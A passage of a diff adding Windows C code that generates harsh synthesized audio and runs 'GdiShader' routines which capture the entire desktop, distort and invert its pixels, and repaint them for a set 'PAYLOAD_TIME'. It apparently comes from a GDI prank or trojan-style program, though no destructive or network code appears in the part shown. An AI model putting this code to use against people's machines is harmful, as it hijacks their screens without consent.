+
{
|
| 417 |
+
INT nIndex = y * nSquareRoot + x;
|
| 418 |
+
if (nIndex >= nSampleCount)
|
| 419 |
+
continue;
|
| 420 |
+
|
| 421 |
+
INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
|
| 422 |
+
psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 100) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
|
| 423 |
+
}
|
| 424 |
+
}
|
| 425 |
+
}
|
| 426 |
+
|
| 427 |
+
VOID
|
| 428 |
+
WINAPI
|
| 429 |
+
AudioSequence17(
|
| 430 |
+
_In_ INT nSamplesPerSec,
|
| 431 |
+
_In_ INT nSampleCount,
|
| 432 |
+
_Inout_ PSHORT psSamples
|
| 433 |
+
)
|
| 434 |
+
{
|
| 435 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 436 |
+
{
|
| 437 |
+
INT nFreq = (INT)(FastSine((FLOAT)t / 20.f) * 100.f + 50.f);
|
| 438 |
+
FLOAT fSine = FastSine((FLOAT)t / 13.f) * (FLOAT)nSamplesPerSec;
|
| 439 |
+
psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 9.f + fSine) * (FLOAT)SHRT_MAX * .50f) +
|
| 440 |
+
(SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .10f);
|
| 441 |
+
}
|
| 442 |
+
}
|
| 443 |
+
|
| 444 |
+
|
| 445 |
+
VOID
|
| 446 |
+
WINAPI
|
| 447 |
+
AudioSequence18(
|
| 448 |
+
_In_ INT nSamplesPerSec,
|
| 449 |
+
_In_ INT nSampleCount,
|
| 450 |
+
_Inout_ PSHORT psSamples
|
| 451 |
+
)
|
| 452 |
+
{
|
| 453 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 454 |
+
|
| 455 |
+
INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
|
| 456 |
+
for (INT y = 0; y < nSquareRoot; y++)
|
| 457 |
+
{
|
| 458 |
+
for (INT x = 0; x < nSquareRoot; x++)
|
| 459 |
+
{
|
| 460 |
+
INT nIndex = y * nSquareRoot + x;
|
| 461 |
+
if (nIndex >= nSampleCount)
|
| 462 |
+
continue;
|
| 463 |
+
|
| 464 |
+
INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
|
| 465 |
+
psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 10) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .6f);
|
| 466 |
+
}
|
| 467 |
+
}
|
| 468 |
+
}
|
| 469 |
+
|
| 470 |
+
VOID
|
| 471 |
+
WINAPI
|
| 472 |
+
FinalAudioSequence(
|
| 473 |
+
_In_ INT nSamplesPerSec,
|
| 474 |
+
_In_ INT nSampleCount,
|
| 475 |
+
_Inout_ PSHORT psSamples
|
| 476 |
+
)
|
| 477 |
+
{
|
| 478 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 479 |
+
|
| 480 |
+
INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
|
| 481 |
+
for (INT z = 0; z < nCubeRoot; z++)
|
| 482 |
+
{
|
| 483 |
+
for (INT y = 0; y < nCubeRoot; y++)
|
| 484 |
+
{
|
| 485 |
+
for (INT x = 0; x < nCubeRoot; x++)
|
| 486 |
+
{
|
| 487 |
+
INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
|
| 488 |
+
if (nIndex >= nSampleCount)
|
| 489 |
+
continue;
|
| 490 |
+
|
| 491 |
+
INT nFreq = (INT)((FLOAT)(y & x) * sinf((FLOAT)z / (FLOAT)nCubeRoot + (FLOAT)x + (FLOAT)nCounter * (FLOAT)y) * 2.f);
|
| 492 |
+
psSamples[nIndex] = (SHORT)(SquareWave(nIndex, nFreq, nSamplesPerSec) * (FLOAT)(SHRT_MAX) * .3f);
|
| 493 |
+
}
|
| 494 |
+
}
|
| 495 |
+
}
|
| 496 |
+
}
|
| 497 |
+
|
| 498 |
+
VOID
|
| 499 |
+
WINAPI
|
| 500 |
+
GdiShaderThread(
|
| 501 |
+
_In_ PGDISHADER_PARAMS pGdiShaderParams
|
| 502 |
+
)
|
| 503 |
+
{
|
| 504 |
+
if (pGdiShaderParams->pGdiShader == GdiShader3)
|
| 505 |
+
{
|
| 506 |
+
nShaderThreeSeed = Xorshift32();
|
| 507 |
+
}
|
| 508 |
+
|
| 509 |
+
ExecuteGdiShader(hdcDesktop, rcScrBounds, PAYLOAD_TIME, 5, pGdiShaderParams->pGdiShader,
|
| 510 |
+
pGdiShaderParams->pPreGdiShader, pGdiShaderParams->pPostGdiShader);
|
| 511 |
+
}
|
| 512 |
+
|
| 513 |
+
VOID
|
| 514 |
+
WINAPI
|
| 515 |
+
ExecuteGdiShader(
|
| 516 |
+
_In_ HDC hdcDst,
|
| 517 |
+
_In_ RECT rcBounds,
|
| 518 |
+
_In_ INT nTime,
|
| 519 |
+
_In_ INT nDelay,
|
| 520 |
+
_In_ GDI_SHADER pGdiShader,
|
| 521 |
+
_In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
|
| 522 |
+
_In_opt_ GDI_SHADER_OPERATION pPostGdiShader
|
| 523 |
+
)
|
| 524 |
+
{
|
| 525 |
+
BITMAPINFO bmi = { 0 };
|
| 526 |
+
PRGBQUAD prgbSrc, prgbDst;
|
| 527 |
+
HANDLE hHeap;
|
| 528 |
+
HDC hdcTemp;
|
| 529 |
+
HBITMAP hbmTemp;
|
| 530 |
+
SIZE_T nSize;
|
| 531 |
+
INT nWidth;
|
| 532 |
+
INT nHeight;
|
| 533 |
+
|
| 534 |
+
nWidth = rcBounds.right - rcBounds.left;
|
| 535 |
+
nHeight = rcBounds.bottom - rcBounds.top;
|
| 536 |
+
nSize = nWidth * nHeight * sizeof(COLORREF);
|
| 537 |
+
|
| 538 |
+
bmi.bmiHeader.biSize = sizeof(BITMAPINFO);
|
| 539 |
+
bmi.bmiHeader.biBitCount = 32;
|
| 540 |
+
bmi.bmiHeader.biPlanes = 1;
|
| 541 |
+
bmi.bmiHeader.biWidth = nWidth;
|
| 542 |
+
bmi.bmiHeader.biHeight = nHeight;
|
| 543 |
+
|
| 544 |
+
hHeap = GetProcessHeap();
|
| 545 |
+
prgbSrc = (PRGBQUAD)HeapAlloc(hHeap, 0, nSize);
|
| 546 |
+
|
| 547 |
+
hdcTemp = CreateCompatibleDC(hdcDst);
|
| 548 |
+
hbmTemp = CreateDIBSection(hdcDst, &bmi, 0, &prgbDst, NULL, 0);
|
| 549 |
+
SelectObject(hdcTemp, hbmTemp);
|
| 550 |
+
|
| 551 |
+
for (INT i = 0, j = nCounter; (j + nTime) > nCounter; i++)
|
| 552 |
+
{
|
| 553 |
+
if (pPreGdiShader == NULL)
|
| 554 |
+
{
|
| 555 |
+
BitBlt(hdcTemp, 0, 0, nWidth, nHeight, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
|
| 556 |
+
}
|
| 557 |
+
else
|
| 558 |
+
{
|
| 559 |
+
pPreGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
|
| 560 |
+
}
|
| 561 |
+
|
| 562 |
+
RtlCopyMemory(prgbSrc, prgbDst, nSize);
|
| 563 |
+
|
| 564 |
+
pGdiShader(i, nWidth, nHeight, hdcDst, hbmTemp, prgbSrc, prgbDst);
|
| 565 |
+
|
| 566 |
+
if (pPostGdiShader == NULL)
|
| 567 |
+
{
|
| 568 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, nWidth, nHeight, hdcTemp, 0, 0, SRCCOPY);
|
| 569 |
+
}
|
| 570 |
+
else
|
| 571 |
+
{
|
| 572 |
+
pPostGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
|
| 573 |
+
}
|
| 574 |
+
|
| 575 |
+
if (nDelay)
|
| 576 |
+
{
|
| 577 |
+
Sleep(nDelay);
|
| 578 |
+
}
|
| 579 |
+
}
|
| 580 |
+
|
| 581 |
+
HeapFree(hHeap, 0, prgbSrc);
|
| 582 |
+
DeleteObject(hbmTemp);
|
| 583 |
+
DeleteDC(hdcTemp);
|
| 584 |
+
}
|
| 585 |
+
|
| 586 |
+
VOID
|
| 587 |
+
WINAPI
|
| 588 |
+
GdiShader1(
|
| 589 |
+
_In_ INT t,
|
| 590 |
+
_In_ INT w,
|
| 591 |
+
_In_ INT h,
|
| 592 |
+
_In_ HDC hdcTemp,
|
| 593 |
+
_In_ HBITMAP hbmTemp,
|
| 594 |
+
_In_ PRGBQUAD prgbSrc,
|
| 595 |
+
_Inout_ PRGBQUAD prgbDst
|
| 596 |
+
)
|
| 597 |
+
{
|
| 598 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 599 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 600 |
+
|
| 601 |
+
UINT u;
|
| 602 |
+
UINT v;
|
| 603 |
+
FLOAT div = (FLOAT)t / 1.f;
|
| 604 |
+
FLOAT a = FastSine(div) * 10.f;
|
| 605 |
+
FLOAT b = FastCosine(div) * 5.f;
|
| 606 |
+
RGBQUAD rgbDst;
|
| 607 |
+
|
| 608 |
+
for (INT y = 0; y < h; y++)
|
| 609 |
+
{
|
| 610 |
+
for (INT x = 0; x < w; x++)
|
| 611 |
+
{
|
| 612 |
+
u = x + (INT)a, v = y + (INT)b;
|
| 613 |
+
u %= w;
|
| 614 |
+
v %= h;
|
| 615 |
+
|
| 616 |
+
rgbDst = prgbSrc[v * w + u];
|
| 617 |
+
rgbDst.r += ~prgbSrc[y * w + x].r / 82;
|
| 618 |
+
rgbDst.g += ~prgbSrc[y * w + x].g / 12;
|
| 619 |
+
rgbDst.b += ~prgbSrc[y * w + x].b / 22;
|
| 620 |
+
prgbDst[y * w + x] = rgbDst;
|
| 621 |
+
}
|
| 622 |
+
}
|
| 623 |
+
}
|
| 624 |
+
|
| 625 |
+
VOID
|
| 626 |
+
WINAPI
|
| 627 |
+
PostGdiShader1(
|
| 628 |
+
_In_ INT t,
|
| 629 |
+
_In_ INT w,
|
| 630 |
+
_In_ INT h,
|
| 631 |
+
_In_ RECT rcBounds,
|
| 632 |
+
_In_ HDC hdcDst,
|
| 633 |
+
_In_ HDC hdcTemp
|
| 634 |
+
)
|
| 635 |
+
{
|
| 636 |
+
if (!(t % 256))
|
| 637 |
+
{
|
| 638 |
+
RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
|
| 639 |
+
}
|
| 640 |
+
else
|
| 641 |
+
{
|
| 642 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
|
| 643 |
+
}
|
| 644 |
+
}
|
| 645 |
+
|
| 646 |
+
VOID
|
| 647 |
+
WINAPI
|
| 648 |
+
GdiShader2(
|
| 649 |
+
_In_ INT t,
|
| 650 |
+
_In_ INT w,
|
| 651 |
+
_In_ INT h,
|
| 652 |
+
_In_ HDC hdcTemp,
|
| 653 |
+
_In_ HBITMAP hbmTemp,
|
| 654 |
+
_In_ PRGBQUAD prgbSrc,
|
| 655 |
+
_Inout_ PRGBQUAD prgbDst
|
| 656 |
+
)
|
| 657 |
+
{
|
| 658 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 659 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 660 |
+
|
| 661 |
+
UINT u;
|
| 662 |
+
UINT v;
|
| 663 |
+
RGBQUAD rgbDst;
|
| 664 |
+
|
| 665 |
+
for (INT y = 0; y < h; y++)
|
| 666 |
+
{
|
| 667 |
+
FLOAT _y = (FLOAT)y / 40.f;
|
| 668 |
+
|
| 669 |
+
for (INT x = 0; x < w; x++)
|
| 670 |
+
{
|
| 671 |
+
FLOAT div = (FLOAT)t / 2.f;
|
| 672 |
+
FLOAT a = FastSine(div + _y) * 50.f;
|
| 673 |
+
FLOAT b = FastCosine(div + (FLOAT)x / 10.f) * 80.f;
|
| 674 |
+
|
| 675 |
+
u = x + (INT)a, v = y + (INT)b;
|
| 676 |
+
u %= w;
|
| 677 |
+
v %= h;
|
| 678 |
+
|
| 679 |
+
rgbDst = prgbSrc[y * w + u];
|
| 680 |
+
|
| 681 |
+
DWORD rgb = prgbSrc[v * w + x].rgb / ((0x101010 | (t & y) | ((t & x) << 8) | (t << 26)) + 1);
|
| 682 |
+
if (!rgb)
|
| 683 |
+
{
|
| 684 |
+
rgb = 1;
|
| 685 |
+
}
|
| 686 |
+
|
| 687 |
+
rgbDst.rgb /= rgb;
|
| 688 |
+
if (!rgbDst.rgb)
|
| 689 |
+
{
|
| 690 |
+
rgbDst.rgb = 0xFFFFFF;
|
| 691 |
+
}
|
| 692 |
+
|
| 693 |
+
prgbDst[y * w + x] = rgbDst;
|
| 694 |
+
}
|
| 695 |
+
}
|
| 696 |
+
}
|
| 697 |
+
|
| 698 |
+
VOID
|
| 699 |
+
WINAPI
|
| 700 |
+
PostGdiShader2(
|
| 701 |
+
_In_ INT t,
|
| 702 |
+
_In_ INT w,
|
| 703 |
+
_In_ INT h,
|
| 704 |
+
_In_ RECT rcBounds,
|
| 705 |
+
_In_ HDC hdcDst,
|
| 706 |
+
_In_ HDC hdcTemp
|
| 707 |
+
)
|
| 708 |
+
{
|
| 709 |
+
if (!(t % 16))
|
| 710 |
+
{
|
| 711 |
+
RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
|
| 712 |
+
}
|
| 713 |
+
else
|
| 714 |
+
{
|
| 715 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
|
| 716 |
+
}
|
| 717 |
+
}
|
| 718 |
+
|
| 719 |
+
VOID
|
| 720 |
+
WINAPI
|
| 721 |
+
GdiShader3(
|
| 722 |
+
_In_ INT t,
|
| 723 |
+
_In_ INT w,
|
| 724 |
+
_In_ INT h,
|
| 725 |
+
_In_ HDC hdcTemp,
|
| 726 |
+
_In_ HBITMAP hbmTemp,
|
| 727 |
+
_In_ PRGBQUAD prgbSrc,
|
| 728 |
+
_Inout_ PRGBQUAD prgbDst
|
| 729 |
+
)
|
| 730 |
+
{
|
| 731 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 732 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 733 |
+
|
| 734 |
+
UINT u;
|
| 735 |
+
UINT v;
|
| 736 |
+
RGBQUAD rgbDst;
|
| 737 |
+
HSLCOLOR hsl;
|
| 738 |
+
FLOAT _t = (FLOAT)t / 15.f;
|
| 739 |
+
|
| 740 |
+
for (INT y = 0; y < h; y++)
|
| 741 |
+
{
|
| 742 |
+
FLOAT _y = (FLOAT)y / 45.f;
|
| 743 |
+
|
| 744 |
+
for (INT x = 0; x < w; x++)
|
| 745 |
+
{
|
| 746 |
+
FLOAT a = FastCosine(_y + _t) * 36.f;
|
| 747 |
+
|
| 748 |
+
u = x + (INT)a, v = y;
|
| 749 |
+
u %= w;
|
| 750 |
+
v %= h;
|
| 751 |
+
|
| 752 |
+
rgbDst = prgbSrc[v * w + u];
|
| 753 |
+
FLOAT f = 1.f / 2.f;
|
| 754 |
+
FLOAT r = (FLOAT)prgbSrc[y * w + x].r * f + (FLOAT)rgbDst.r * (1.f - f);
|
| 755 |
+
FLOAT g = (FLOAT)prgbSrc[y * w + x].g * f + (FLOAT)rgbDst.g * (1.f - f);
|
| 756 |
+
FLOAT b = (FLOAT)prgbSrc[y * w + x].b * f + (FLOAT)rgbDst.b * (1.f - f);
|
| 757 |
+
|
| 758 |
+
rgbDst.rgb = ((BYTE)b | ((BYTE)g << 8) | ((BYTE)r << 11));
|
| 759 |
+
hsl = RGBToHSL(rgbDst);
|
| 760 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 15.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 34.f), 1.0);
|
| 761 |
+
prgbDst[y * w + x] = HSLToRGB(hsl);
|
| 762 |
+
}
|
| 763 |
+
}
|
| 764 |
+
}
|
| 765 |
+
|
| 766 |
+
VOID
|
| 767 |
+
WINAPI
|
| 768 |
+
PostGdiShader3(
|
| 769 |
+
_In_ INT t,
|
| 770 |
+
_In_ INT w,
|
| 771 |
+
_In_ INT h,
|
| 772 |
+
_In_ RECT rcBounds,
|
| 773 |
+
_In_ HDC hdcDst,
|
| 774 |
+
_In_ HDC hdcTemp
|
| 775 |
+
)
|
| 776 |
+
{
|
| 777 |
+
INT x, y;
|
| 778 |
+
HPEN hpenBall;
|
| 779 |
+
|
| 780 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
|
| 781 |
+
|
| 782 |
+
t += nShaderThreeSeed;
|
| 783 |
+
x = t * 16;
|
| 784 |
+
y = t * 16;
|
| 785 |
+
|
| 786 |
+
for (INT i = 64; i > 8; i -= 8)
|
| 787 |
+
{
|
| 788 |
+
hpenBall = CreatePen(PS_SOLID, 2, rand() % 0xFFFFFF);
|
| 789 |
+
|
| 790 |
+
SelectObject(hdcDst, hpenBall);
|
| 791 |
+
Reflect2D(&x, &y, w, h);
|
| 792 |
+
Ellipse(hdcDst, x + rcBounds.left - i, y + rcBounds.top - i, x + rcBounds.left + i, y + rcBounds.top + i);
|
| 793 |
+
DeleteObject(hpenBall);
|
| 794 |
+
}
|
| 795 |
+
}
|
| 796 |
+
|
| 797 |
+
VOID
|
| 798 |
+
WINAPI
|
| 799 |
+
GdiShader4(
|
| 800 |
+
_In_ INT t,
|
| 801 |
+
_In_ INT w,
|
| 802 |
+
_In_ INT h,
|
| 803 |
+
_In_ HDC hdcTemp,
|
| 804 |
+
_In_ HBITMAP hbmTemp,
|
| 805 |
+
_In_ PRGBQUAD prgbSrc,
|
| 806 |
+
_Inout_ PRGBQUAD prgbDst
|
| 807 |
+
)
|
| 808 |
+
{
|
| 809 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 810 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 811 |
+
|
| 812 |
+
UINT u;
|
| 813 |
+
UINT v;
|
| 814 |
+
RGBQUAD rgbDst;
|
| 815 |
+
RGBQUAD rgbSrc;
|
| 816 |
+
FLOAT _t = (FLOAT)t / 540.f;
|
| 817 |
+
FLOAT a = (FLOAT)t / 39.f;
|
| 818 |
+
FLOAT b = FastSine(a) * _t;
|
| 819 |
+
FLOAT c = FastCosine(a) * _t;
|
| 820 |
+
FLOAT centerX = (FLOAT)w / 50;
|
| 821 |
+
FLOAT centerY = (FLOAT)h / 100;
|
| 822 |
+
|
| 823 |
+
while (b < 5.f)
|
| 824 |
+
{
|
| 825 |
+
b += PI * 3.f;
|
| 826 |
+
}
|
| 827 |
+
|
| 828 |
+
while (c < 4.f)
|
| 829 |
+
{
|
| 830 |
+
c += PI * 4.f;
|
| 831 |
+
}
|
| 832 |
+
|
| 833 |
+
for (INT y = 0; y < h; y++)
|
| 834 |
+
{
|
| 835 |
+
for (INT x = 0; x < w; x++)
|
| 836 |
+
{
|
| 837 |
+
u = (UINT)((x - centerX) * FastCosine(b) - (y - centerY) * FastSine(c) + centerX);
|
| 838 |
+
v = (UINT)((x - centerX) * FastSine(c) + (y - centerY) * FastCosine(b) + centerY);
|
| 839 |
+
|
| 840 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 841 |
+
|
| 842 |
+
rgbDst = prgbSrc[v * w + u];
|
| 843 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 844 |
+
rgbDst.rgb ^= rgbSrc.rgb;
|
| 845 |
+
|
| 846 |
+
if ((t / 21) % 2)
|
| 847 |
+
{
|
| 848 |
+
rgbDst.rgb = ~rgbDst.rgb;
|
| 849 |
+
}
|
| 850 |
+
|
| 851 |
+
prgbDst[y * w + x] = rgbDst;
|
| 852 |
+
}
|
| 853 |
+
}
|
| 854 |
+
}
|
| 855 |
+
|
| 856 |
+
VOID
|
| 857 |
+
WINAPI
|
| 858 |
+
GdiShader5(
|
| 859 |
+
_In_ INT t,
|
| 860 |
+
_In_ INT w,
|
| 861 |
+
_In_ INT h,
|
| 862 |
+
_In_ HDC hdcTemp,
|
| 863 |
+
_In_ HBITMAP hbmTemp,
|
| 864 |
+
_In_ PRGBQUAD prgbSrc,
|
| 865 |
+
_Inout_ PRGBQUAD prgbDst
|
| 866 |
+
)
|
| 867 |
+
{
|
| 868 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 869 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 870 |
+
|
| 871 |
+
UINT u;
|
| 872 |
+
UINT v;
|
| 873 |
+
RGBQUAD rgbDst;
|
| 874 |
+
RGBQUAD rgbSrc;
|
| 875 |
+
|
| 876 |
+
for (INT y = 0; y < h; y++)
|
| 877 |
+
{
|
| 878 |
+
for (INT x = 0; x < w; x++)
|
| 879 |
+
{
|
| 880 |
+
INT a = 5000;
|
| 881 |
+
INT b = 5000;
|
| 882 |
+
|
| 883 |
+
u = ~((a + t) & y);
|
| 884 |
+
v = ~((b + t) & x);
|
| 885 |
+
|
| 886 |
+
u %= w;
|
| 887 |
+
v %= h;
|
| 888 |
+
|
| 889 |
+
rgbDst = prgbSrc[v * w + u];
|
| 890 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 891 |
+
rgbDst.rgb ^= rgbSrc.rgb;
|
| 892 |
+
|
| 893 |
+
prgbDst[y * w + x] = rgbDst;
|
| 894 |
+
}
|
| 895 |
+
}
|
| 896 |
+
}
|
| 897 |
+
|
| 898 |
+
VOID
|
| 899 |
+
WINAPI
|
| 900 |
+
PostGdiShader4(
|
| 901 |
+
_In_ INT t,
|
| 902 |
+
_In_ INT w,
|
| 903 |
+
_In_ INT h,
|
| 904 |
+
_In_ RECT rcBounds,
|
| 905 |
+
_In_ HDC hdcDst,
|
| 906 |
+
_In_ HDC hdcTemp
|
| 907 |
+
)
|
| 908 |
+
{
|
| 909 |
+
UNREFERENCED_PARAMETER(hdcDst);
|
| 910 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 911 |
+
|
| 912 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
|
| 913 |
+
|
| 914 |
+
if (!(t % 8))
|
| 915 |
+
{
|
| 916 |
+
RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
|
| 917 |
+
}
|
| 918 |
+
}
|
| 919 |
+
|
| 920 |
+
VOID
|
| 921 |
+
WINAPI
|
| 922 |
+
GdiShader6(
|
| 923 |
+
_In_ INT t,
|
| 924 |
+
_In_ INT w,
|
| 925 |
+
_In_ INT h,
|
| 926 |
+
_In_ HDC hdcTemp,
|
| 927 |
+
_In_ HBITMAP hbmTemp,
|
| 928 |
+
_In_ PRGBQUAD prgbSrc,
|
| 929 |
+
_Inout_ PRGBQUAD prgbDst
|
| 930 |
+
)
|
| 931 |
+
{
|
| 932 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 933 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 934 |
+
|
| 935 |
+
UINT u;
|
| 936 |
+
UINT v;
|
| 937 |
+
FLOAT div = (FLOAT)t / 24.f;
|
| 938 |
+
FLOAT a = FastCosine(div) * 2.f * PI;
|
| 939 |
+
BOOL bShiftDir = (BOOL)(Xorshift32() & 1);
|
| 940 |
+
BYTE bChannels = (BYTE)(Xorshift32() & 9);
|
| 941 |
+
RGBQUAD rgbSrc;
|
| 942 |
+
RGBQUAD rgbDst;
|
| 943 |
+
|
| 944 |
+
for (INT y = 0; y < h; y++)
|
| 945 |
+
{
|
| 946 |
+
for (INT x = 0; x < w; x++)
|
| 947 |
+
{
|
| 948 |
+
FLOAT b = (FLOAT)(x + y + t * 12) / 16.f;
|
| 949 |
+
FLOAT c = FastSine(a + b) * 68.f;
|
| 950 |
+
|
| 951 |
+
u = x + (INT)a, v = y + (INT)c;
|
| 952 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 953 |
+
|
| 954 |
+
rgbDst = prgbSrc[v * w + x];
|
| 955 |
+
|
| 956 |
+
if (bShiftDir)
|
| 957 |
+
{
|
| 958 |
+
rgbDst.rgb <<= 1;
|
| 959 |
+
}
|
| 960 |
+
else
|
| 961 |
+
{
|
| 962 |
+
rgbDst.rgb >>= 1;
|
| 963 |
+
}
|
| 964 |
+
|
| 965 |
+
rgbSrc = prgbSrc[v * w + x];
|
| 966 |
+
rgbDst.rgb ^= rgbSrc.rgb;
|
| 967 |
+
|
| 968 |
+
if (bChannels & 0b001)
|
| 969 |
+
{
|
| 970 |
+
rgbDst.b |= rgbSrc.b;
|
| 971 |
+
}
|
| 972 |
+
|
| 973 |
+
if (bChannels & 0b010)
|
| 974 |
+
{
|
| 975 |
+
rgbDst.g |= rgbSrc.g;
|
| 976 |
+
}
|
| 977 |
+
|
| 978 |
+
if (bChannels & 0b100)
|
| 979 |
+
{
|
| 980 |
+
rgbDst.r |= rgbSrc.r;
|
| 981 |
+
}
|
| 982 |
+
|
| 983 |
+
prgbDst[y * w + u] = rgbDst;
|
| 984 |
+
}
|
| 985 |
+
}
|
| 986 |
+
}
|
| 987 |
+
|
| 988 |
+
VOID
|
| 989 |
+
WINAPI
|
| 990 |
+
GdiShader7(
|
| 991 |
+
_In_ INT t,
|
| 992 |
+
_In_ INT w,
|
| 993 |
+
_In_ INT h,
|
| 994 |
+
_In_ HDC hdcTemp,
|
| 995 |
+
_In_ HBITMAP hbmTemp,
|
| 996 |
+
_In_ PRGBQUAD prgbSrc,
|
| 997 |
+
_Inout_ PRGBQUAD prgbDst
|
| 998 |
+
)
|
| 999 |
+
{
|
| 1000 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1001 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1002 |
+
|
| 1003 |
+
UINT u;
|
| 1004 |
+
UINT v;
|
| 1005 |
+
RGBQUAD rgbDst;
|
| 1006 |
+
RGBQUAD rgbSrc;
|
| 1007 |
+
BOOL bOperation = (BOOL)(Xorshift32() % 21);
|
| 1008 |
+
|
| 1009 |
+
for (INT y = 0; y < h; y++)
|
| 1010 |
+
{
|
| 1011 |
+
for (INT x = 0; x < w; x++)
|
| 1012 |
+
{
|
| 1013 |
+
u = (x + t * 284) ^ (y + t * y) ^ t;
|
| 1014 |
+
v = (x + t * 128) + (y + t * y) ^ t;
|
| 1015 |
+
|
| 1016 |
+
u %= w;
|
| 1017 |
+
v %= h;
|
| 1018 |
+
|
| 1019 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1020 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 1021 |
+
|
| 1022 |
+
if (bOperation)
|
| 1023 |
+
{
|
| 1024 |
+
rgbDst.rgb |= rgbSrc.rgb;
|
| 1025 |
+
}
|
| 1026 |
+
else
|
| 1027 |
+
{
|
| 1028 |
+
rgbDst.rgb &= rgbSrc.rgb;
|
| 1029 |
+
}
|
| 1030 |
+
|
| 1031 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1032 |
+
}
|
| 1033 |
+
}
|
| 1034 |
+
}
|
| 1035 |
+
|
| 1036 |
+
VOID
|
| 1037 |
+
WINAPI
|
| 1038 |
+
PostGdiShader5(
|
| 1039 |
+
_In_ INT t,
|
| 1040 |
+
_In_ INT w,
|
| 1041 |
+
_In_ INT h,
|
| 1042 |
+
_In_ RECT rcBounds,
|
| 1043 |
+
_In_ HDC hdcDst,
|
| 1044 |
+
_In_ HDC hdcTemp
|
| 1045 |
+
)
|
| 1046 |
+
{
|
| 1047 |
+
if (!(t % 4))
|
| 1048 |
+
{
|
| 1049 |
+
RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
|
| 1050 |
+
}
|
| 1051 |
+
else
|
| 1052 |
+
{
|
| 1053 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, NOTSRCCOPY);
|
| 1054 |
+
}
|
| 1055 |
+
}
|
| 1056 |
+
|
| 1057 |
+
VOID
|
| 1058 |
+
WINAPI
|
| 1059 |
+
PreGdiShader1(
|
| 1060 |
+
_In_ INT t,
|
| 1061 |
+
_In_ INT w,
|
| 1062 |
+
_In_ INT h,
|
| 1063 |
+
_In_ RECT rcBounds,
|
| 1064 |
+
_In_ HDC hdcDst,
|
| 1065 |
+
_In_ HDC hdcTemp
|
| 1066 |
+
)
|
| 1067 |
+
{
|
| 1068 |
+
UNREFERENCED_PARAMETER(t);
|
| 1069 |
+
|
| 1070 |
+
BitBlt(hdcTemp, 0, 0, w, h, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
|
| 1071 |
+
|
| 1072 |
+
for (INT i = 0; i < 5; i++)
|
| 1073 |
+
{
|
| 1074 |
+
INT nBlockSize = Xorshift32() % 19 + 12 + 2;
|
| 1075 |
+
INT nNewBlockSize = nBlockSize + (Xorshift32() % 17 + 9 + 16 + 2);
|
| 1076 |
+
INT x = Xorshift32() % (w - nBlockSize);
|
| 1077 |
+
INT y = Xorshift32() % (h - nBlockSize);
|
| 1078 |
+
|
| 1079 |
+
StretchBlt(hdcTemp, x - (nNewBlockSize - nBlockSize) / 2, y - (nNewBlockSize - nBlockSize) / 2,
|
| 1080 |
+
